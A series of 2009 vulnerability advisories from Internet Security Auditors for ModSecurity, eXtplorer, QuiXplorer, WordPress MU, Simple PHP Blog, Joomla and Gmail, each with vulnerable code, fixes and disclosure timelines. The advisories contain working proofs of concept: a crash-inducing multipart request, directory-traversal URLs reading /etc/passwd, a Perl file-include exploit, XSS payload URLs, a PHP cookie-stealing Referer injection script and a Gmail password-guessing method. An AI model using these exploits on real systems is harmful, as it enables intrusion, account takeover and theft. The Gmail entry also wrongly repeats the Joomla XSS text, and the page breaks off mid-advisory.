Advisories 2009

2009-001: ModSecurity < 2.5.9 is vulnerable to a remote Denial of Service (DoS)

Original release date: February 25th, 2009
Last revised: March 19th, 2009
Discovered by: Juan Galiana Lara
Severity: 7.8/10 (CVSS Base Scored)

BACKGROUND

ModSecurity is the most widely-deployed web application firewall in the world, with more than 15,000 users. It runs as a Apache web server module and is developed by Breach Security [ http://www.breach.com ], it's avaliable with GNU GPL and many other comercial licenses.

DESCRIPTION

The multipart processor of modsecurity does not sanitize the user supplied input sufficiently. Therefore, an attacker can send a crafted post request of type multipart/form-data which will lead in a remote denial of service.

The snippet of vulnerable code:

in file msc_multipart.c

1258 int multipart_get_arguments(modsec_rec *msr, char *origin, apr_table_t *arguments) {
1257 multipart_part **parts;
1258 int i;
1259
1260 parts = (multipart_part **)msr->mpd->parts->elts;
1261 for(i = 0; i < msr->mpd->parts->nelts; i++) {
1262 if (parts[i]->type == MULTIPART_FORMDATA) {
1263 msc_arg *arg = (msc_arg *)apr_pcalloc(msr->mp, sizeof(msc_arg));
1264 if (arg == NULL) return -1;
1265
1266 arg->name = parts[i]->name;
1267 arg->name_len = strlen(parts[i]->name);

On line 1267, due to the pointer parts[i]->name is not properly sanitized the parameter of strlen function takes the value NULL, getting a segmentation fault and resulting in a crash of the apache process that handle the request.

PROOF OF CONCEPT

The process could be crashed remotely by sending:

POST / HTTP/1.0

Content-Type: multipart/form-data; boundary=---------------------------xxxxxxxxxxxxxx
Content-Length: 91

-----------------------------xxxxxxxxxxxxxx
:
-----------------------------xxxxxxxxxxxxxx--

In order to send a correct HTTP/1.1 request you must add a valid Host header.

With the configuration directives:

SecAuditEngine On
SecDebugLogLevel 9

After the attack, the last line of the debug logfile is:

[25/Feb/2009:09:51:18 +0100] [vhost/sid#884348][rid#aaf0d8][/][9] Multipart: Added part abe458 to the list: name "(null)" (offset 0, length 0)

BUSINESS IMPACT

An attacker could cause a remote denial of service to an Apache installation with modsecurity 2 module.

SYSTEMS AFFECTED

ModSecurity between 2.5.5 and 2.5.8 are vulnerable, other versions may be affected.
Tested with Apache httpd 2.2.11.

SOLUTION

Upgrade to version 2.5.9 of ModSecurity. It can be downloaded from http://modsecurity.org/download/

REFERENCES

http://www.modsecurity.org
http://www.isecauditors.com

CREDITS

This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).
Thanks to Jordi Rubió Romero (jrubio (at) isecauditorts (dot) com).

REVISION HISTORY

February 25, 2009: Initial release
March 19, 2009: Revision.

DISCLOSURE TIMELINE

Febraury 25, 2009: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com)
March 02, 2009: ModSecurity contacted.
March 02, 2009: Response about remediation plan.
March 11, 2009: Path released
March 19, 2009: Vulnerability published by Internet Security Auditors (www.isecauditors.com)

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2009-002: eXtplorer standalone & Joomla!/Mambo Remote Code Execution vulnerability

Original release date: January 7th, 2009
Last revised: March 2nd, 2009
Discovered by: Juan Galiana Lara
Severity: 9/10 (CVSS scored)

BACKGROUND

eXtplorer is a web-based File Management Component for all your needs. It has a desktop-application-like interface with drag&drop, grid and a directory tree and makes heavy use of the ExtJS Javascript Library. It's widely used to access and modify the files and directories on your server via FTP or direct file access. It runs natively under Joomla! 1.5.x, 1.0.x, Mambo component and can also be used as a standalone app. Is based on Quixplorer (available at http://sourceforge.net/projects/quixplorer/). eXtplorer is released under a dual-license: the Mozilla Public License (MPL 1.1) and the GNU General Public License (GNU/GPL).

DESCRIPTION

eXtplorer is prone to a local file include and directory traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. The parameter 'lang' is not properly sanitized. Since the application allows to upload files to the server could be combined with previous vulnerabilities to allow an attacker to view any local file or execute arbitrary code remotely in the context of the webserver. This may aid in launching further attacks. In order to perform the attack, an attacker could upload a PHP maliciuos code (upload action is allowed by the application), then exploit a bug to know the full path to the local file recently uploaded (if 'display_errors' directive is set to On) and then include it exploiting the local file include and directory traversal flaw (using ../../path/to/file) to finally execute the php code. Successfully explotation of this flaw may aid in the compromise of the server in the context of the webserver. The software is affected running standalone or as a Joomla!/Mambo component.

PROOF OF CONCEPT

The affected code:

File: include/init.php Line 100

$GLOBALS["language"] = $mainframe->getUserStateFromRequest( 'language', 'lang', $default_lang );

File: include/init.php Line: 145

//Necessary files require_once( _EXT_PATH."/config/conf.php" );
if( file_exists(_EXT_PATH."/languages/".$GLOBALS["language"].".php")) {
require_once( _EXT_PATH."/languages/".$GLOBALS["language"].".php" ); <- HERE
}
else {
require_once( _EXT_PATH."/languages/english.php" );
}
if( file_exists(_EXT_PATH."/languages/".$GLOBALS["language"]."_mimes.php")) {
require_once( _EXT_PATH."/languages/".$GLOBALS["language"]."_mimes.php" ); <- HERE
}
else {
require_once( _EXT_PATH."/languages/english_mimes.php" );
}

The file include/init.php is included in all the request to the application.
Here is a poc:

PoC:http://site/path/?lang=../../path/to/maliciuos_uploaded_code
PoC:http://site/path/?lang=../../../../../etc/passwd%00

The bug can be exploited with or without 'magic_quotes_gpc', but note that if magic_quotes_gpc is set to Off, an attacker can view any file, adding a '\0' character like /etc/passwd, if not only can include php files, allowing to execute any php code he want. Is also possible to hide the crafted parameters data including it thougth POST method, making detection more difficult to site administrator. In order to successfully perform this attack the attacker must have the full path where the files are uploaded, and it is easy to get making a request like this:

POST /path/index.php HTTP/1.1
Host: host
User-Agent: user-agent
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
X-Requested-With: XMLHttpRequest
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Referer: http://host/path
Content-Length: 80
Cookie: PHPSESSID=<my_phpsessid>;eXtplorer=<my_cookie>
Pragma: no-cache
Cache-Control: no-cache
start=0&limit=50&dir=x&option=com_extplorer&action=getdircontents&sendWhat=files

The response is a JSON file:

{"action":"","message":"\/var\/www\/path\/\/x : This directory doesn\\'t exist.","error":"\/var\/www\/path\/\/x : This directory doesn\\'t exist.","success":false}

Sending "x", the application came back "/var/www/path/x".

BUSINESS IMPACT

An attacker could execute arbitrary code remotely and maybe gain access to the operating system of the server

SYSTEMS AFFECTED

Versions prior to 2.0.0 of eXtplorer are vulnerable

SOLUTION

Upgrade to version 2.0.1 of eXtplorer. It can be downloaded from http://extplorer.sourceforge.net

REFERENCES

http://extplorer.sf.net

CREDITS

This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

REVISION HISTORY

March 2nd, 2009: Initial release.

DISCLOSURE TIMELINE

January 07, 2009: eXtplorer contacted
January 15, 2009: eXtplorer release version 2.0.1
March 02, 2009: Vulnerability published

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2009-003: QuiXplorer <= 2.4.1 beta standalone and as a Mambo/Joomla component 'lang' parameter Remote Code Execution vulnerability

Original release date: March 2nd, 2009
Last revised: December 17th, 2009
Discovered by: Juan Galiana Lara
Severity: 9/10 (CVSS scored)

BACKGROUND

QuiXplorer is a multi-user, web-based file-manager. It allows you to manage and/or share files over the Internet, or an Intranet. It's currently available in many languages and with GPL and MPL licenses and referred in other open source projects.

DESCRIPTION

QuiXplorer is prone to a local file include and directory traversal vulnerability because the application fails to sufficiently sanitize user-supplied input. The parameter 'lang' is not properly sanitized. Since the application allows to upload files to the server could be combined with previous vulnerabilities to allow an attacker to execute arbitrary code remotely in the context of the webserver. This may aid in launching further attacks.

In order to perform the attack, an attacker could upload a PHP malicious code (upload action is allowed by the application), then exploit a bug to know the full path to the local file recently uploaded (if 'display_errors' directive is set to On) and then include it exploiting the local file include and directory traversal flaw (using ../../path/to/file) to finally execute the php code. Successfully exploitation of this flaw may aid in the compromise of the server in the context of the webserver.

PROOF OF CONCEPT

Here is the affected code:

80 // Get Language
81 if(isset($GLOBALS['__GET']["lang"]))$GLOBALS["lang"]=$GLOBALS['__GET']["lang"];
82 elseif(isset($GLOBALS['__POST']["lang"]))$GLOBALS["lang"]=$GLOBALS['__POST']["lang"];
83 //------------------------------------------------------------------------------
84 // Necessary files
85 ob_start(); // prevent unwanted output
86 require "./.config/conf.php";
87 if(isset($GLOBALS["lang"])) $GLOBALS["language"]=$GLOBALS["lang"];
88 require "./_lang/".$GLOBALS["language"].".php"; <----- HERE
89 require "./_lang/".$GLOBALS["language"]."_mimes.php"; <----- HERE

Here is a poc:

PoC: http://site/path/?lang=../path/to/malicious_uploaded_code

Exploiting this bug is possible to include php files, allowing to execute any arbitrary code code he want. Also is possible to hide the crafted parameters data including it through POST method, making detection more difficult to site administrator.

About the full path disclosure, if the webserver has the show_errors directive set to 'On', try: http://site/path/?lang=no_exists

And the application returns:

Warning: require(./_lang/no_exists.php) [function.require]: failed to open stream: No such file or directory in /var/www/quix/.include/init.php on line 88

Fatal error: require() [function.require]: Failed opening required './_lang/no_exists.php'
(include_path='.:/usr/share/php:/usr/share/pear') in /var/www/quix/.include/init.php on line 88

Revealing the path to the home directory of the filemanager

BUSINESS IMPACT

An attacker could view any file or execute arbitrary code remotely into the context of the webserver.

SYSTEMS AFFECTED

All version of QuiXplorer are affected.
At the moment <= 2.4.1beta.

SOLUTION

As developers give no response we add the mitigation for its solution.
To patch only change this lines...

From:

81 if(isset($GLOBALS['__GET']["lang"])) $GLOBALS["lang"]=$GLOBALS['__GET']["lang"];
82 elseif(isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"]=$GLOBALS['__POST']["lang"];

To:

81 if(isset($GLOBALS['__GET']["lang"])) $GLOBALS["lang"]=basename($GLOBALS['__GET']["lang"]);
82 elseif(isset($GLOBALS['__POST']["lang"])) $GLOBALS["lang"]=basename($GLOBALS['__POST']["lang"]);

Parsing the parameters with basename() function the flaw its fixed.

And to prevent the full path disclosure...

From:

88 require "./_lang/".$GLOBALS["language"].".php";
82 require "./_lang/".$GLOBALS["language"]."_mimes.php";

To:

88 if(file_exists("./_lang/".$GLOBALS["language"].".php")) require "./_lang/".$GLOBALS["language"].".php";
89 else require "./_lang/en.php";
90 if(file_exists("./_lang/".$GLOBALS["language"]."_mimes.php"))require "./_lang/".$GLOBALS["language"]."_mimes.php";
91 else require "./_lang/en_mimes.php";

REFERENCES

http://sourceforge.net/projects/quixplorer/
http://www.isecauditors.com

CREDITS

This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

REVISION HISTORY

March 02, 2009: Initial release.
December 17, 2009: Last revision.

DISCLOSURE TIMELINE

March 02, 2009: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com) March 03, 2009: QuiXplorer contacted. No answer. December 13, 2009: QuiXplorer contacted again. No answer. December 17, 2009: Sent to lists with remediation proposal.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2009-004: WordPress MU < 2.7 'Host' HTTP Header Cross Site Scripting (XSS) Vulnerability

Original release date: December 3rd, 2008
Last revised: March 10th, 2009
Discovered by: Juan Galiana Lara
Severity: 6.3/10 (CVSS scored)

BACKGROUND

WordPress MU, or multi-user, allows to run unlimited blogs with a single install of wordpress. It is most famously used for WordPress.com where it serves tens of millions of hits on hundreds of thousands of blogs each day. Also is used in many other sites like Harvard University and Le Monde.

DESCRIPTION

WordPress MU prior to version 2.7 fails to sanitize the Host header correctly in choose_primary_blog function and is therefore prune to XSS attacks.
Web Sites running in a name based virtual hosting setup are not affected while they are not the default virtual host.

PROOF OF CONCEPT

The snippet of vulnerable code:
In wp-includes/wpmu-functions.php, concretly in the function choose_primary_blog:

1830 function choose_primary_blog() {
1831 global $current_user;
1832 ?>
1833 <table class="form-table">
1834 <tr>
1835 <th scope="row"><?php _e('Primary Blog'); ?></th>
1836 <td>
1837 <?php
1838 $all_blogs = get_blogs_of_user( $current_user->ID );
1839 if( count( $all_blogs ) > 1 ) {
1840 $primary_blog = get_usermeta($current_user->ID, 'primary_blog');
1841 ?>
1842 <select name="primary_blog"
1843 <?php foreach( (array) $all_blogs as $blog ) { ?>
1844 <option value='<?php echo $blog->userblog_id ?>'<?php if( $primary_blog == $blog->userblog_id ) echo ' selected="selected"' ?>>http://<?php echo $blog->domain.$blog->path ?></option>
1845 <?php } ?>
1846 </select>
1847 <?php
1848 } else {
1849 echo $_SERVER['HTTP_HOST']; <- HERE
1850 }
1851 ?>
1852 </td>
1853 </tr>
1854 </table>
1855 <?php
1856 }

BUSINESS IMPACT

The line 1849 contains the affected code "echo $_SERVER['HTTP_HOST'];" and is possible to inject HTML and script code crafting HTTP Host header:

PoC:
$ curl -H "Cookie: my cookies here" -H "Host: <body onload=alert(String.fromCharCode(88,83,83))>" http://www.example.com/wp-admin/profile.php> tmp.html
$ firefox tmp.html

The javascript code will be executed in the context of the victim browser, this can be exploited to steal cookies and escalate privileges to administrator.

Tested with Wordpress MU 2.6.5, Apache 2.2 and Mozilla Firefox 3.0.6

SYSTEMS AFFECTED

Versions prior to 2.7 are affected.

SOLUTION

Upgrade to version 2.7 of wordpress multi-user. It can be downloaded from http://mu.wordpress.org

REFERENCES

http://mu.wordpress.org

CREDITS

This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

REVISION HISTORY

December 03, 2008: Initial release
March 02, 2009: More details added

DISCLOSURE TIMELINE

December 03, 2008: Vendor contacted
December 03, 2008: MU trunk code fixed
January 28, 2008: WordPress MU 2.7 released
March 10, 2009: Vulnerability published by Internet Security Auditors (www.isecauditors.com)

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2009-005: Simple PHP Blog <= 0.5.1 Local File Include vulnerability

Original release date: March 2nd, 2009
Last revised: December 18th, 2009
Discovered by: Juan Galiana Lara
Severity: 6.8/10 (CVSS scored)

BACKGROUND

Simple PHP Blog is a blog system does not requires database setup, and is very easy to install.

DESCRIPTION

Simple PHP Blog <= 0.5.1 is affected by a Local File Include vulnerability in 'languages_cgi.php' due to parameter 'blog_language1' is not properly sanitized.

PROOF OF CONCEPT

The affected code:

1830 equire_once('languages/' . $_POST[ 'blog_language1' ] .'/strings.php');

Exploit:

#!/usr/bin/perl
# Local File Include Exploit
# Simple PHP Blog <= 0.5.1
# jgaliana isecauditors=dot=com
# Internet Security Auditors

use LWP::UserAgent;
if ($#ARGV < 3) { die("Usage: $0 "); }
$ua = LWP::UserAgent->new;
$ua->agent("Simple PHP Blog Exploit ^_^");
$ua->default_header('Cookie' => "sid=$ARGV[3]");
my $req = new HTTP::Request POST =>
"http://$ARGV[0]$ARGV[1]/languages_cgi.php";
$req->content_type('application/x-www-form-urlencoded');
$req->content("blog_language1=../../../../..$ARGV[2]%00");
my $res = $ua->request($req);

if ($res->is_success) {
print $res->content;
} else {
print "Error: " .$res->status_line, "\n";
}

$ perl simple.pl example.com /blog /etc/passwd |head -1
root:*:0:0:root:/root:/bin/bash

The bug can be exploited with or without 'magic_quotes_gpc', but note that if magic_quotes_gpc is set to Off, an attacker can view any file, adding a '\0' character like /etc/passwd, if not only can include php files, allowing to execute any local php files.

BUSINESS IMPACT

The impact is the attacker can read arbitrary files in the context of the webserver and execute arbitrary local php scripts.

SYSTEMS AFFECTED

Versions prior and including 0.5.1 are affected.
In order to patch the application the function file_exists() and basename() must be added to the affected code.

SOLUTION

Change line 62 of languages_cgi.php in order to filter $_POST['blog_language1' ] variable.

if (ereg('^[a-zA-Z0-9_]+$', $_POST[ 'blog_language1' ]))
require_once('languages/' . $_POST[ 'blog_language1' ] . '/strings.php');

REFERENCES

http://www.simplephpblog.com
http://sourceforge.net/projects/sphpblog/
http://www.isecauditors.com

CREDITS

This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

REVISION HISTORY

March 02, 2009: Initial release
December 18, 2009: Last revision

DISCLOSURE TIMELINE

March 02, 2009: Vulnerability acquired by Internet Security Auditors (www.isecauditors.com)
March 03, 2009: Notified to developer. No response.
December 13, 2009: Notified again. No response.
December 18, 2009: Added mitigation solution and sent to lists.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2009-006: Joomla! 1.5.10 JA_Purity Multiple Persistent XSS.

Original release date: April 5th, 2009
Last revised: June 5th, 2009
Discovered by: Juan Galiana Lara
Severity: 6.4/10 (CVSS Base Score)

BACKGROUND

Joomla! is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla! the most popular Web site software available. Best of all, Joomla! is an open source solution that is freely available to everyone.
Joomla! comes with 3 default templates, JA_Purity is one of them.

DESCRIPTION

JA_Purity template is bundled in Joomla! and fails to sanitized user supplied input. An attacker can inject JavaScript or DHTML that will be saved in the cookie making persistent, running in the context of targeted user browser, allowing him to steal cookies.

In file 'template/ja_purity/ja_templatetools.php', the getUserSetting() reads $_GET array and makes the data persistent setting it in a cookie:

4 define ('JA_TOOL_FONT', 'ja_font');
...
27 function getUserSetting(){
28 $exp = time() + 60*60*24*355;
29 if (isset($_COOKIE[$this->template.'_tpl']) && $_COOKIE[$this->template.'_tpl'] == $this->template){
30 foreach($this->_params_cookie as $k=>$v) {
31 $kc = $this->template."_".$k;
32 if (isset($_GET[$k])){
33 $v = $_GET[$k];
34 setcookie ($kc, $v, $exp, '/');
35 }else{
36 if (isset($_COOKIE[$kc])){
37 $v = $_COOKIE[$kc];
38 }
39 }
40 $this->setParam($k, $v);
41 }
42
43 }else{
44 setcookie ($this->template.'_tpl', $this->template, $exp, '/');
45 }
46 return $this;
47 }
48
49 function getParam ($param, $default='') {
50 if (isset($this->_params_cookie[$param])) {
51 return $this->_params_cookie[$param];
52 }
53 return $this->_tpl->params->get($param, $default);
54 }
55
56 function setParam ($param, $value) {
57 $this->_params_cookie[$param] = $value;
58 }

File 'template/ja_purity/index.php' reads data with getParam and write it directly:

57 <?php if ($tmpTools->getParam('theme_header') && $tmpTools->getParam('theme_header')!='-1') : ?>
58 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/header/<?php echo $tmpTools->getParam('theme_header'); ?>/style.css" type="text/css" />
59 <?php endif; ?>
60 <?php if ($tmpTools->getParam('theme_background') && $tmpTools->getParam('theme_background')!='-1') : ?>
61 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/background/<?php echo $tmpTools->getParam('theme_background'); ?>/style.css" type="text/css" />
62 <?php endif; ?>
63 <?php if ($tmpTools->getParam('theme_elements') && $tmpTools->getParam('theme_elements')!='-1') : ?>
64 <link rel="stylesheet" href="<?php echo $tmpTools->templateurl(); ?>/styles/elements/<?php echo $tmpTools->getParam('theme_elements'); ?>/style.css" type="text/css" />
65 <?php endif; ?>

99: <body id="bd" class="fs<?php echo $tmpTools->getParam(JA_TOOL_FONT);?> <?php echo $tmpTools->browser();?>" >
118 if ($tmpTools->getParam('logoType')=='image'): ?>
119 <h1 class="logo">
120 <a href="index.php" title="<?php echo $siteName; ?>"><span><?php echo $siteName; ?></span></a>
121 </h1>
122 <?php else:
123 $logoText = (trim($tmpTools->getParam('logoText'))=='') ? $config->sitename : $tmpTools->getParam('logoText');
124 $sloganText = (trim($tmpTools->getParam('sloganText'))=='') ? JText::_('SITE SLOGAN') : $tmpTools->getParam('sloganText'); ?>
125 <h1 class="logo-text">
126 <a href="index.php" title="<?php echo $siteName; ?>"><span><?php echo $logoText; ?></span></a>
127 </h1>
128 <p class="site-slogan"><?php echo $sloganText;?></p>
129 <?php endif; ?>

These are all the variables of JA_Purity template, most of them are vulnerable:

logoType
logoText
sloganText
ja_font
ja_screen
ja_screen_width
theme_header
theme_background
theme_elements
horNav
horNavType
rightCollapsible
rightCollapseDefault
excludeModules
showComponent

PROOF OF CONCEPT

http://site/path/?theme_header=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?theme_background=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?theme_elements=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?logoType=1&logoText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?logoType=1&sloganText=%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E
http://site/path/?excludeModules=%27;alert(8);%20var%20b=%27
http://site/path/?rightCollapseDefault=%27;alert(8);%20var%20b=%27
http://site/path/?ja_font=%22%3E%3Cscript%3Ealert(%2FXSS%2F)%3B%3C%2Fscript%3E

BUSINESS IMPACT

An attacker can exploit the vulnerability to store persistent XSS. This may lead in steal the targeted user cookies and gain access to the user account.

SYSTEMS AFFECTED

Joomla! <= 1.5.10 is vulnerable which comes with JA_Purity template 1.2.0

SOLUTION

Upgrade to version 1.5.11.

REFERENCES

http://www.joomla.org
http://www.joomlart.org
http://www.isecauditors.com

CREDITS

This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

REVISION HISTORY

April 5, 2009: Initial release.
June 5, 2009: Last revision.

DISCLOSURE TIMELINE

April 5, 2009: Discovered by Internet Security Auditors.
April 6, 2009: Vendor contacted. They will study the advisory.
May-June, 2009: No responses to queries about patching schedule.
June 3, 2009: Security Release 1.5.11 published.
June 5, 2009: Vulnerability published by Internet Security Auditors (www.isecauditors.com)

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2009-007: Joomla! < 1.5.12 Multiple XSS vulnerabilities in HTTP Headers

Original release date: June 30th, 2009
Last revised: July 2nd, 2009
Discovered by: Juan Galiana Lara
Severity: 6.8/10 (CVSS Base Score)

BACKGROUND

Joomla! is an award-winning content management system (CMS), which enables you to build Web sites and powerful online applications. Many aspects, including its ease-of-use and extensibility, have made Joomla! the most popular Web site software available. Best of all, Joomla! is an open source solution that is freely available to everyone.

DESCRIPTION

TJoomla! fails to sanitized user supplied input. An attacker can inject JavaScript or DHTML code that will be executed in the context of targeted user browser, allowing him to steal cookies. HTTP headers are not properly parsed, concretly the HTTP_REFERER variable.

The snippet of vulnerable code:

Line 225 of file components/com_content/views/article/tmpl/form.php is vunerable.

221 <input type="hidden" name="option" value="com_content" />
222 <input type="hidden" name="id" value="<?php echo $this->article->id; ?>" />
223 <input type="hidden" name="version" value="<?php echo $this->article->version; ?>" />
224 <input type="hidden" name="created_by" value="<?php echo $this->article->created_by; ?>" />
225 <input type="hidden" name="referer" value="<?php echo @$_SERVER['HTTP_REFERER']; ?>" />
226 <?php echo JHTML::_( 'form.token' ); ?>
227 <input type="hidden" name="task" value="" />
228 </form>

Other parts of code may be affected:

components/com_user/controller.php:86:

$return = @$_SERVER['HTTP_REFERER'];

plugins/system/legacy/html.php:246:

echo '<a href="'. $_SERVER['HTTP_REFERER'] .'"><span class="small">'. JText::_( 'BACK' ) .'</span></a>';

templates/beez/html/com_content/article/form.php:186:

PROOF OF CONCEPT

An attacker can redirect the victim to a site with this script for executing javascript code in the victim's browser. The PoC creates a crafted HTTP request with malicious data in the HTTP_REFERER header. In order to succesfully exploit it, an account with any role is needed. For example, an user with any role can escalate privileges to administrator.

/* PoC: XSS Joomla 1.5.11
Juan Galiana Lara
Internet Security Auditors
Jun 2009 */
/* config */
$site='localhost';
$path='/joomla-1.5.11';
$cookname='d85558a8cf943386aaa374896bfd3d99';
$cookvalue='4ab56fdd83bcad86289726aead602699';
class cURL {
var $headers;
var $user_agent;
var $compression;
var $cookie_file;
var $proxy;
/* evil script */
var $xss='alert("PWN PWN PWN: " + document.cookie);';
function cURL($cookies=TRUE,$cookie='cookies.txt',$compression='gzip',$proxy='') {
$this->headers[] = 'Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8';
$this->headers[] = 'Connection: Keep-Alive';
$this->headers[] = 'Content-type: application/x-www-form-urlencoded;charset=UTF-8';
$this->headers[] = 'Referer: "><script>' . $this->xss .'</script>>span a="';
$this->user_agent = 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0)';
$this->compression=$compression;
$this->proxy=$proxy;
$this->cookies=$cookies;
if ($this->cookies == TRUE) $this->cookie($cookie);
}
function cookie($cookie_file) {
if (file_exists($cookie_file)) {
$this->cookie_file=$cookie_file;
} else {
fopen($cookie_file,'w') or $this->error('The cookie file could not be opened. Check permissions');
$this->cookie_file=$cookie_file;
fclose($this->cookie_file);
}
}
function get($url) {
$process = curl_init($url);
curl_setopt($process, CURLOPT_HTTPHEADER, $this->headers);
curl_setopt($process, CURLOPT_HEADER, 0);
curl_setopt($process, CURLOPT_USERAGENT, $this->user_agent);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEFILE, $this->cookie_file);
if ($this->cookies == TRUE) curl_setopt($process, CURLOPT_COOKIEJAR, $this->cookie_file);
curl_setopt($process,CURLOPT_ENCODING , $this->compression);
curl_setopt($process, CURLOPT_TIMEOUT, 30);
if ($this->proxy) curl_setopt($cUrl, CURLOPT_PROXY, 'proxy_ip:proxy_port');
curl_setopt($process, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($process, CURLOPT_FOLLOWLOCATION, 1);
$return = curl_exec($process);
curl_close($process);
return $return;
}
function error($error) {
echo $error;
die;
}
}
/* set cookie */
$f=fopen("cookies.txt","w");
fwrite($f,"localhost\tFALSE\t/\tFALSE\t0\t$cookname\t$cookvalue\n");
fclose($f);
/* do request */
$cc = new cURL();
$c=$cc->get('http://' . $site . $path . '/index.php?option=com_content&view=article&layout=form');

/* let's execute some javascript.. }:-)*/
echo $c;
?>

BUSINESS IMPACT

An attacker can exploit the vulnerability to inyect DHTML and JavaScript code in the context of the web browser. This may lead in steal the targeted user cookies and gain access to the user account icluding administrator privileges.

SYSTEMS AFFECTED

Joomla! versions prior and including 1.5.11 are vulnerable.

SOLUTION

Upgrade to version 1.5.12

REFERENCES

http://www.joomla.org
http://www.isecauditors.com

CREDITS

This vulnerability has been discovered and reported by Juan Galiana Lara (jgaliana (at) isecauditors (dot) com).

REVISION HISTORY

June 30, 2009: Initial release
July 02, 2009: Revision.

DISCLOSURE TIMELINE

June 30, 2009: Discovered by Internet Security Auditors.
June 30, 2009: Vendor contacted. Fast response.
July 01, 2009: Joomla! publish update. Great job.
July 02, 2009: Advisory published.

LEGAL NOTICES

The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise. Internet Security Auditors accepts no responsibility for any damage caused by the use or misuse of this information.

2009-008: Gmail vulnerable to automated password cracking.

Original release date: July 7th, 2009
Last revised: July 13th, 2009
Discovered by: Vicente Aguilera Diaz
Severity: 4.5/10 (CVSS Base Score)

BACKGROUND

Gmail is Google's free webmail service. It comes with built-in Google search technology and over 7,300 megabytes of storage (and growing every day). You can keep all your important messages, files and pictures forever, use search to quickly and easily find anything you're looking for, and make sense of it all with a new way of viewing messages as part of conversations.

DESCRIPTION

An existing abuse of functionality in the "Check for mail using POP3" capability permits automated attacks to the password data of the accounts of the Gmail users evading the security measures adopted by Google.

Gmail implements a great number of security controls and, most of them are not revealed until an attack is conducted or a malicious use of the account is done. For example:
- Use of catpcha for avoiding automated processes (e.g., in the users authentication or in the new users sign up).
- Temporary IP locking in case of detecting unusual application activities (e.g., multiple new account creation requests)
- Temporary account locking in case of detecting unusual use of the user account (e.g., when doing multiple consecutive request to the same resource).
- Detection of concurrent access to the account from different geolocated IP addresses added to the number of these accesses.
- Etc.

Anyway, is it possible to abuse the "Check for mail using POP3" capability to do attacks to the passwords of the users in an automated way, evading all referred security restrictions and controls and doing a transparent and not noticeable attack to the user that its account is being password cracked as:
- There's no need for required action from the victim.
- There's no modification in the password of the victim.
- There's no locking in the victim account.
- There's no security notification to the victim.

The vulnerability is aggravated due Gmail allows weak passwords to be used by the users. So, Gmail accepts password using only one character (e.g. "aaaaaaaa") or dictionary words (e.g. "pentagon" or "computer").

The abuse of this functionality permits an attacker to do thousands of authentication requests during a day over one user account, so if the user is using a weak password is a matter of time to guess to have access to the mail account.

PROOF OF CONCEPT

An attacker can redirect the victim to a site with this script for executing javascript code in the victim's browser. The PoC creates a crafted HTTP request with malicious data in the HTTP_REFERER header. In order to succesfully exploit it, an account with any role is needed. For example, an user with any role can escalate privileges to administrator.

As only requirement, the attacker needs a real Gmail account, but that's not a real limitation as service is for free.
After being authenticated, the attacker access to the option "Accounts and import". From this tab access to "Add POP3 mail account". To add a new account the attacker news to fill: -User name: will be the victim email address, including "@gmail.com" (e.g. victim@gmail.com).
-Password: will be the password related to the previously informed user.
-POP3 server and port: could be simply "pop.gmail.com" and the 995 port.

When asking for the new email account to be added some different scenarios can happen:
1. The application returns the message "The server has denied the POP3 access to this username and password". This possibility happens when the username do not exists or the password is incorrect.

2. The application returns the message "Now you can recover the messages of this account". This other possibility happens when the authentication has succeeded. So, the attacker informed correctly the password to this user.

